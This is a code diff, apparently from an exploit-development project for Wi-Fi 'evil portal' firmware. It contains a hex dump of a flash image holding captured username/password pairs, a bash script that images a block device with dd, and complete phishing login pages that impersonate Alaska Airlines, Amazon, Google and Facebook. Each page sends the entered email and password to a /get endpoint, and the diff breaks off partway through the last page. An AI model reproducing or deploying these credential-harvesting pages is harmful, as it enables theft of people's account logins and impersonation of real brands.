00f7e570 68 72 65 66 3d 22 23 22 3e 43 72 65 61 74 65 20 |href="#">Create |
|
||||
00f7e580 79 6f 75 72 73 20 6e 6f 77 2e 3c 2f 61 3e 3c 73 |yours now.</a><s|
|
||||
00f7e590 70 61 6e 3e 3c 69 0d 0a 20 20 20 20 20 20 20 20 |pan><i.. |
|
||||
00f7e5a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e5b0 63 6c 61 73 73 3d 27 62 78 20 62 78 2d 75 70 2d |class='bx bx-up-|
|
||||
00f7e5c0 61 72 72 6f 77 2d 61 6c 74 27 3e 3c 2f 69 3e 3c |arrow-alt'></i><|
|
||||
00f7e5d0 2f 73 70 61 6e 3e 3c 2f 68 34 3e 0d 0a 20 20 20 |/span></h4>.. |
|
||||
00f7e5e0 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 | </form>.. |
|
||||
00f7e5f0 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 | </div>.... |
|
||||
00f7e600 3c 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 |<footer>.. |
|
||||
00f7e610 20 20 3c 70 3e 43 6f 70 79 72 69 67 68 74 20 26 | <p>Copyright &|
|
||||
00f7e620 63 6f 70 79 20 32 30 32 33 20 41 70 70 6c 65 20 |copy 2023 Apple |
|
||||
00f7e630 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 |Inc. All rights |
|
||||
00f7e640 72 65 73 65 72 76 65 64 2e 3c 2f 70 3e 0d 0a 20 |reserved.</p>.. |
|
||||
00f7e650 20 20 20 20 20 20 20 3c 70 3e 50 72 69 76 61 63 | <p>Privac|
|
||||
00f7e660 79 20 50 6f 6c 69 63 79 3c 2f 70 3e 0d 0a 20 20 |y Policy</p>.. |
|
||||
00f7e670 20 20 20 20 20 20 3c 70 3e 54 65 72 6d 73 20 6f | <p>Terms o|
|
||||
00f7e680 66 20 55 73 65 3c 2f 70 3e 0d 0a 20 20 20 20 3c |f Use</p>.. <|
|
||||
00f7e690 2f 66 6f 6f 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 |/footer>..</body|
|
||||
00f7e6a0 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 00 00 |>....</html>....|
|
||||
00f7e6b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00f80000 47 75 65 73 74 2d 57 69 66 69 00 00 00 00 00 00 |Guest-Wifi......|
|
||||
00f80010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00f84000 75 3a 20 31 32 33 34 35 36 20 70 3a 20 31 32 33 |u: 123456 p: 123|
|
||||
00f84010 34 35 36 0a 75 3a 20 31 32 33 34 35 20 70 3a 20 |456.u: 12345 p: |
|
||||
00f84020 31 32 33 34 35 0a 75 3a 20 70 61 73 73 77 6f 72 |12345.u: passwor|
|
||||
00f84030 64 20 70 3a 20 70 61 73 73 77 6f 72 64 0a 75 3a |d p: password.u:|
|
||||
00f84040 20 70 61 73 73 77 6f 72 64 31 20 70 3a 20 70 61 | password1 p: pa|
|
||||
00f84050 73 73 77 6f 72 64 31 0a 75 3a 20 31 32 33 34 35 |ssword1.u: 12345|
|
||||
00f84060 36 37 38 39 20 70 3a 20 31 32 33 34 35 36 37 38 |6789 p: 12345678|
|
||||
00f84070 39 0a 75 3a 20 31 32 33 34 35 36 37 38 20 70 3a |9.u: 12345678 p:|
|
||||
00f84080 20 31 32 33 34 35 36 37 38 0a 75 3a 20 31 32 33 | 12345678.u: 123|
|
||||
00f84090 34 35 36 37 38 39 30 20 70 3a 20 31 32 33 34 35 |4567890 p: 12345|
|
||||
00f840a0 36 37 38 39 30 0a 75 3a 20 61 62 63 31 32 33 20 |67890.u: abc123 |
|
||||
00f840b0 70 3a 20 61 62 63 31 32 33 0a 75 3a 20 63 6f 6d |p: abc123.u: com|
|
||||
00f840c0 70 75 74 65 72 20 70 3a 20 63 6f 6d 70 75 74 65 |puter p: compute|
|
||||
00f840d0 72 0a 75 3a 20 74 69 67 67 65 72 20 70 3a 20 74 |r.u: tigger p: t|
|
||||
00f840e0 69 67 67 65 72 0a 75 3a 20 31 32 33 34 20 70 3a |igger.u: 1234 p:|
|
||||
00f840f0 20 31 32 33 34 0a 75 3a 20 71 77 65 72 74 79 20 | 1234.u: qwerty |
|
||||
00f84100 70 3a 20 71 77 65 72 74 79 0a 75 3a 20 6d 6f 6e |p: qwerty.u: mon|
|
||||
00f84110 65 79 20 70 3a 20 6d 6f 6e 65 79 0a 75 3a 20 63 |ey p: money.u: c|
|
||||
00f84120 61 72 6d 65 6e 20 70 3a 20 63 61 72 6d 65 6e 0a |armen p: carmen.|
|
||||
00f84130 75 3a 20 6d 69 63 6b 65 79 20 70 3a 20 6d 69 63 |u: mickey p: mic|
|
||||
00f84140 6b 65 79 0a 75 3a 20 73 65 63 72 65 74 20 70 3a |key.u: secret p:|
|
||||
00f84150 20 73 65 63 72 65 74 0a 75 3a 20 73 75 6d 6d 65 | secret.u: summe|
|
||||
00f84160 72 20 70 3a 20 73 75 6d 6d 65 72 0a 75 3a 20 69 |r p: summer.u: i|
|
||||
00f84170 6e 74 65 72 6e 65 74 20 70 3a 20 69 6e 74 65 72 |nternet p: inter|
|
||||
00f84180 6e 65 74 0a 75 3a 20 61 31 62 32 63 33 20 70 3a |net.u: a1b2c3 p:|
|
||||
00f84190 20 61 31 62 32 63 33 0a 75 3a 20 31 32 33 20 70 | a1b2c3.u: 123 p|
|
||||
00f841a0 3a 20 31 32 33 0a 75 3a 20 73 65 72 76 69 63 65 |: 123.u: service|
|
||||
00f841b0 20 70 3a 20 73 65 72 76 69 63 65 0a 75 3a 20 20 | p: service.u: |
|
||||
00f841c0 70 3a 20 0a 75 3a 20 63 61 6e 61 64 61 20 70 3a |p: .u: canada p:|
|
||||
00f841d0 20 63 61 6e 61 64 61 0a 75 3a 20 68 65 6c 6c 6f | canada.u: hello|
|
||||
00f841e0 20 70 3a 20 68 65 6c 6c 6f 0a 75 3a 20 72 61 6e | p: hello.u: ran|
|
||||
00f841f0 67 65 72 20 70 3a 20 72 61 6e 67 65 72 0a 75 3a |ger p: ranger.u:|
|
||||
00f84200 20 73 68 61 64 6f 77 20 70 3a 20 73 68 61 64 6f | shadow p: shado|
|
||||
00f84210 77 0a 75 3a 20 62 61 73 65 62 61 6c 6c 20 70 3a |w.u: baseball p:|
|
||||
00f84220 20 62 61 73 65 62 61 6c 6c 0a 75 3a 20 64 6f 6e | baseball.u: don|
|
||||
00f84230 61 6c 64 20 70 3a 20 64 6f 6e 61 6c 64 0a 75 3a |ald p: donald.u:|
|
||||
00f84240 20 68 61 72 6c 65 79 20 70 3a 20 68 61 72 6c 65 | harley p: harle|
|
||||
00f84250 79 0a 75 3a 20 68 6f 63 6b 65 79 20 70 3a 20 68 |y.u: hockey p: h|
|
||||
00f84260 6f 63 6b 65 79 0a 75 3a 20 6c 65 74 6d 65 69 6e |ockey.u: letmein|
|
||||
00f84270 20 70 3a 20 6c 65 74 6d 65 69 6e 0a 75 3a 20 6d | p: letmein.u: m|
|
||||
00f84280 61 67 67 69 65 20 70 3a 20 6d 61 67 67 69 65 0a |aggie p: maggie.|
|
||||
00f84290 75 3a 20 6d 69 6b 65 20 70 3a 20 6d 69 6b 65 0a |u: mike p: mike.|
|
||||
00f842a0 75 3a 20 6d 75 73 74 61 6e 67 20 70 3a 20 6d 75 |u: mustang p: mu|
|
||||
00f842b0 73 74 61 6e 67 0a 75 3a 20 73 6e 6f 6f 70 79 20 |stang.u: snoopy |
|
||||
00f842c0 70 3a 20 73 6e 6f 6f 70 79 0a 75 3a 20 62 75 73 |p: snoopy.u: bus|
|
||||
00f842d0 74 65 72 20 70 3a 20 62 75 73 74 65 72 0a 75 3a |ter p: buster.u:|
|
||||
00f842e0 20 64 72 61 67 6f 6e 20 70 3a 20 64 72 61 67 6f | dragon p: drago|
|
||||
00f842f0 6e 0a 75 3a 20 6a 6f 72 64 61 6e 20 70 3a 20 6a |n.u: jordan p: j|
|
||||
00f84300 6f 72 64 61 6e 0a 75 3a 20 6d 69 63 68 61 65 6c |ordan.u: michael|
|
||||
00f84310 20 70 3a 20 6d 69 63 68 61 65 6c 0a 75 3a 20 6d | p: michael.u: m|
|
||||
00f84320 69 63 68 65 6c 6c 65 20 70 3a 20 6d 69 63 68 65 |ichelle p: miche|
|
||||
00f84330 6c 6c 65 0a 75 3a 20 6d 69 6e 64 79 20 70 3a 20 |lle.u: mindy p: |
|
||||
00f84340 6d 69 6e 64 79 0a 75 3a 20 70 61 74 72 69 63 6b |mindy.u: patrick|
|
||||
00f84350 20 70 3a 20 70 61 74 72 69 63 6b 0a 75 3a 20 31 | p: patrick.u: 1|
|
||||
00f84360 32 33 61 62 63 20 70 3a 20 31 32 33 61 62 63 0a |23abc p: 123abc.|
|
||||
00f84370 75 3a 20 61 6e 64 72 65 77 20 70 3a 20 61 6e 64 |u: andrew p: and|
|
||||
00f84380 72 65 77 0a 75 3a 20 62 65 61 72 20 70 3a 20 62 |rew.u: bear p: b|
|
||||
00f84390 65 61 72 0a 75 3a 20 63 61 6c 76 69 6e 20 70 3a |ear.u: calvin p:|
|
||||
00f843a0 20 63 61 6c 76 69 6e 0a 75 3a 20 63 68 61 6e 67 | calvin.u: chang|
|
||||
00f843b0 65 6d 65 20 70 3a 20 63 68 61 6e 67 65 6d 65 0a |eme p: changeme.|
|
||||
00f843c0 70 3a 20 0a 75 3a 20 63 61 6e 61 64 61 20 70 3a |p: .u: canada p:|
|
||||
00f843d0 20 63 61 6e 61 64 61 0a 75 3a 20 68 65 6c 6c 6f | canada.u: hello|
|
||||
00f843e0 20 70 3a 20 68 65 6c 6c 6f 0a 75 3a 20 72 61 6e | p: hello.u: ran|
|
||||
00f843f0 67 65 72 20 70 3a 20 72 61 6e 67 65 72 0a 75 3a |ger p: ranger.u:|
|
||||
00f84400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
738c00000
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/bin/bash
|
||||
number=2
|
||||
tag=incremental-overrun-nullbyte
|
||||
blocks=32
|
||||
blocksize=1M
|
||||
dumpsize=32M
|
||||
|
||||
|
||||
|
||||
echo -e "\nListing Disks"
|
||||
lsblk
|
||||
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
|
||||
read disk
|
||||
block=/dev/$disk
|
||||
|
||||
timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
|
||||
|
||||
filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
|
||||
|
||||
echo -e "\nWriting to ${filename}"
|
||||
sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync
|
||||
|
||||
echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n"
|
||||
@@ -0,0 +1,89 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f4f4f4;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
.login-container {
|
||||
background-color: white;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
|
||||
}
|
||||
.login-container h1, .login-container h2 {
|
||||
text-align: center;
|
||||
}
|
||||
.login-container button {
|
||||
width: 100%;
|
||||
background-color: green;
|
||||
}
|
||||
#logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.form-group {
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 8px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
window.addEventListener('DOMContentLoaded', (event) => {
|
||||
const form = document.getElementById('email-form-step');
|
||||
form.addEventListener('submit', (event) => {
|
||||
event.preventDefault();
|
||||
const emailInput = document.getElementById('email-input');
|
||||
const passwordInput = document.getElementById('password-input');
|
||||
const email = emailInput.value;
|
||||
const password = passwordInput.value;
|
||||
const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`;
|
||||
window.location.href = url;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-lg-4 offset-lg-4 login-container">
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 301 92" width="93.75" height="30">
|
||||
<g fill="#00385f">
|
||||
<path d="m148 4-35 58c-3 5-5 11-6 17H94c1-7 4-14 10-24l23-40c5-8 10-11 19-11h2zm10 31c-18 0-28 10-38 32-2 6-4 13 5 13 4 0 12-3 17-7v6h12c0-5 2-11 6-18l15-25-17-1m-13 29c-3 3-7 6-11 6-3 0-3-3-2-6 8-14 15-21 25-21h1l-13 21zm138-29c-17 0-28 10-37 32-3 6-4 13 4 13 4 0 12-3 17-7v6h12c1-5 2-11 6-18l15-25-17-1m-13 29c-2 3-7 6-11 6-3 0-3-3-1-6 7-14 15-21 24-21h2l-14 21z"/>
|
||||
<path d="M243 91h-4c-5 0-9-3-11-8l-6-23-11 19h-13l36-61c5-8 10-11 18-11h2l-24 41 18-13h14l-30 21 11 35zM124 1c-12 0-19 3-31 11L53 42H27c-8 0-14 0-19 4l-6 7 37-2L0 79h17l40-28 13-1c9 0 15-8 15-8H69l32-24-23 39c-5 9-8 15-9 22h14l6-18 33-54 4-6h-2zm64 46c0 2 1 2 3 4l4 2c4 3 5 7 5 10-1 9-8 17-22 17l-17-2 6-9 12 1c5 0 7-2 7-4 1-1 0-3-2-4l-3-3c-5-3-6-6-6-10 1-8 11-14 24-14l13 1-5 9-12-1c-4 0-6 1-7 3"/>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
<form id="email-form-step">
|
||||
<h1>Sign in</h1>
|
||||
<h2>Use your Alaska Airlines Account</h2>
|
||||
<div class="form-group">
|
||||
<input id="email-input" name="email" type="text" class="form-control" placeholder="User ID or Mileage Plan number" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input id="password-input" name="password" type="password" class="form-control" placeholder="Password" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button class="btn btn-primary" type="submit">Next</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,100 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #fff;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #f0c14b;
|
||||
border: none;
|
||||
color: #333;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #d8ad40;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" viewBox="0 0 120 60">
|
||||
<path fill="#f90" d="M72 40.7a38.9 38.9 0 0 1-47.7-3.4c-.5-.5 0-1.2.6-.8a52.8 52.8 0 0 0 46.3 2.8c1-.4 1.8.7.8 1.4m2.5-2.8c-.8-1-5-.4-6.8-.2-.6 0-.7-.4-.2-.8 3.3-2.3 8.8-1.6 9.4-.8s-.1 6.2-3.3 8.8c-.4.4-.9.2-.7-.3.7-1.8 2.3-5.7 1.6-6.7"/>
|
||||
<path fill="#221f1f" d="M67.8 20.4v-2.2a.6.6 0 0 1 .6-.6h10.1c.4 0 .6.2.6.6V20c0 .3-.2.8-.7 1.4L73 29.1c2 0 4 .2 5.8 1.2.4.2.5.6.5.9v2.4c0 .3-.3.7-.7.5a11.7 11.7 0 0 0-10.8 0c-.3.2-.7-.1-.7-.5v-2.3c0-.4 0-1 .4-1.5l6.1-8.8h-5.3c-.3 0-.6-.2-.6-.6m-37 14.2h-3.1a.6.6 0 0 1-.6-.5V18c0-.2.3-.5.6-.5h3c.2 0 .5.3.5.6v2c.8-2 2.2-3 4.1-3 2 0 3.2 1 4 3a4.5 4.5 0 0 1 7.9-1.2c1 1.4.8 3.3.8 5v10c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6V22.6c-.3-1-1-1.3-1.9-1.3-.7 0-1.5.5-1.8 1.3s-.3 2.1-.3 3V34c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6v-8.4c0-1.8.3-4.4-1.9-4.4-2.2 0-2.1 2.6-2.1 4.4V34c0 .3-.3.6-.6.6m57.2-17.3c4.6 0 7 4 7 9 0 4.8-2.7 8.6-7 8.6-4.5 0-7-3.9-7-8.8 0-5 2.5-8.8 7-8.8m0 3.2c-2.3 0-2.4 3.1-2.4 5s0 6.2 2.4 6.2 2.5-3.4 2.5-5.4c0-1.4 0-3-.5-4.2-.3-1.1-1-1.6-2-1.6m13 14.1h-3a.6.6 0 0 1-.6-.6V18.1c0-.2.3-.5.6-.5h2.9c.2 0 .4.2.5.5v2.4c1-2.2 2.1-3.2 4.3-3.2a4 4 0 0 1 3.6 1.9c.8 1.2.8 3.4.8 5v10c0 .2-.3.4-.6.4h-3.1a.6.6 0 0 1-.5-.5v-8.6c0-1.8.2-4.3-2-4.3-.7 0-1.4.5-1.8 1.3a7 7 0 0 0-.5 3V34c0 .3-.3.6-.6.6M59.7 27c0 1.2 0 2.2-.6 3.3-.5.9-1.3 1.4-2.1 1.4-1.2 0-2-1-2-2.2 0-2.7 2.4-3.2 4.7-3.2v.7m3.1 7.5c-.2.2-.5.2-.7.1-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5.1 2.2-2.6 0-4.6-1.6-4.6-4.8a5 5 0 0 1 3.3-5c1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.7-.4-2.3-.4-.6-1-.8-1.7-.8-1.2 0-2.3.6-2.5 1.9 0 .2-.3.5-.6.5l-3-.3c-.2 0-.5-.2-.4-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6C64.2 20 64 21.9 64 24v4.8c0 1.5.6 2.1 1.2 2.9.2.3.2.6 0 .8l-2.4 2M19.1 27c0 1.2 0 2.2-.6 3.3-.5.9-1.2 1.4-2.1 1.4-1.2 0-1.9-.9-1.9-2.2 0-2.7 2.4-3.2 4.6-3.2v.7m3.1 7.6c-.2.1-.5.2-.7 0-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5 2.2-2.7 0-4.7-1.6-4.7-4.8 0-2.5 1.4-4.2 3.3-5 1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.6-.4-2.3-.3-.5-1-.8-1.7-.8-1.2 0-2.2.6-2.5 1.9 0 .3-.2.5-.5.5l-3-.3c-.3 0-.6-.2-.5-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6 1.5 1.4 1.4 3.3 1.4 5.3v4.8c0 1.5.6 2.1 1.1 2.9.2.3.3.6 0 .8l-2.3 2"/>
|
||||
</svg>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Sign in</h1>
|
||||
<h2>Use your Amazon Account</h2></center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Continue</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,146 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: sans-serif;
|
||||
}
|
||||
|
||||
.login-container {
|
||||
width: 85%;
|
||||
margin: auto;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
#logo {
|
||||
margin: auto;
|
||||
width: fit-content;
|
||||
}
|
||||
|
||||
.g-h1 {
|
||||
font-size: 25px;
|
||||
text-align: center;
|
||||
font-weight: 200;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.g-h2 {
|
||||
font-size: 15px;
|
||||
text-align: center;
|
||||
font-weight: 200;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.g-input {
|
||||
width: 95%;
|
||||
height: 30px;
|
||||
background-color: transparent;
|
||||
font: 400 16px Roboto, RobotoDraft, Helvetica, Arial, sans-serif;
|
||||
border-width: 0.5px;
|
||||
border-color: rgba(0, 0, 0, 0.6);
|
||||
border-radius: 4px;
|
||||
font-size: 16px;
|
||||
padding: 13px 9px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.create-account {
|
||||
font-size: smaller;
|
||||
color: #1a73e8;
|
||||
text-decoration: none;
|
||||
font-family: "Google Sans", Roboto, Arial, sans-serif;
|
||||
font-size: 15px;
|
||||
letter-spacing: 0.25px;
|
||||
}
|
||||
|
||||
.gbtn-primary {
|
||||
min-width: 64px;
|
||||
border: none;
|
||||
margin-top: 6px;
|
||||
margin-bottom: 6px;
|
||||
height: 36px;
|
||||
border-radius: 4px;
|
||||
font-family: "Google Sans", Roboto, Arial, sans-serif;
|
||||
font-size: 15px;
|
||||
font-weight: 500;
|
||||
padding: 0 24px 0 24px;
|
||||
box-sizing: inherit;
|
||||
background-color: var(--gm-fillbutton-container-color, rgb(26, 115, 232));
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.button-container {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.text {
|
||||
font-family: Roboto, "Noto Sans Myanmar UI", Arial, sans-serif;
|
||||
white-space: normal;
|
||||
color: #5f6368;
|
||||
font-size: 14px;
|
||||
line-height: 1.4286;
|
||||
padding-bottom: 3px;
|
||||
padding-top: 9px;
|
||||
box-sizing: inherit;
|
||||
}
|
||||
|
||||
.txt {
|
||||
text-decoration: none;
|
||||
border-radius: 4px;
|
||||
color: #1a73e8;
|
||||
}
|
||||
</style>
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<div id="logo">
|
||||
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
|
||||
<g id="qaEJec">
|
||||
<path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
|
||||
</g>
|
||||
<g id="YGlOvc">
|
||||
<path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
|
||||
</g>
|
||||
<g id="BWfIk">
|
||||
<path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
|
||||
</g>
|
||||
<g id="e6m3fd">
|
||||
<path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
|
||||
</g>
|
||||
<g id="vbkDmc">
|
||||
<path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
|
||||
</g>
|
||||
<g id="idEJde">
|
||||
<path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
<form action="/get" id="email-form-step">
|
||||
<h4></h4>
|
||||
<h1 class="g-h1">Sign in</h1>
|
||||
<h3></h3>
|
||||
<h2 class="g-h2">Use your Google Account</h2>
|
||||
<h6></h6>
|
||||
<div class="login-content">
|
||||
<input name="email" type="text" class="g-input" placeholder="Email or phone" required>
|
||||
<input name="password" type="password" class="g-input" placeholder="Enter your password" required>
|
||||
<div class="text">Not your computer? Use Guest mode to sign in privately. <a href="#" class="txt" aria-label="a">Learn more</a>
|
||||
</div>
|
||||
<h5></h5>
|
||||
<div class="button-container">
|
||||
<a class="create-account" href="caca.html">Create account</a>
|
||||
<button class="gbtn-primary" type="submit">Next</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,83 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f2f2f2;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
margin: 0;
|
||||
color: #1d2129;
|
||||
}
|
||||
.login-container {
|
||||
width: 350px;
|
||||
background-color: white;
|
||||
box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.20);
|
||||
border-radius: 5px;
|
||||
padding: 10px 20px;
|
||||
}
|
||||
#logo {
|
||||
display: block;
|
||||
margin: 0 auto;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 28px;
|
||||
font-weight: normal;
|
||||
margin-bottom: 10px;
|
||||
text-align: center;
|
||||
}
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
font-weight: normal;
|
||||
color: #606770;
|
||||
margin-bottom: 20px;
|
||||
text-align: center;
|
||||
}
|
||||
input[type=text], input[type=password] {
|
||||
width: 100%;
|
||||
padding: 15px;
|
||||
margin: 5px 0 10px 0;
|
||||
display: inline-block;
|
||||
border: 1px solid #ccc;
|
||||
box-sizing: border-box;
|
||||
border-radius: 5px;
|
||||
}
|
||||
button {
|
||||
background-color: #4267B2;
|
||||
color: white;
|
||||
padding: 14px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
border-radius: 5px;
|
||||
}
|
||||
button:hover {
|
||||
opacity: 0.8;
|
||||
}
|
||||
</style>
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
|
||||
</head>
|
||||
<body>
|
||||
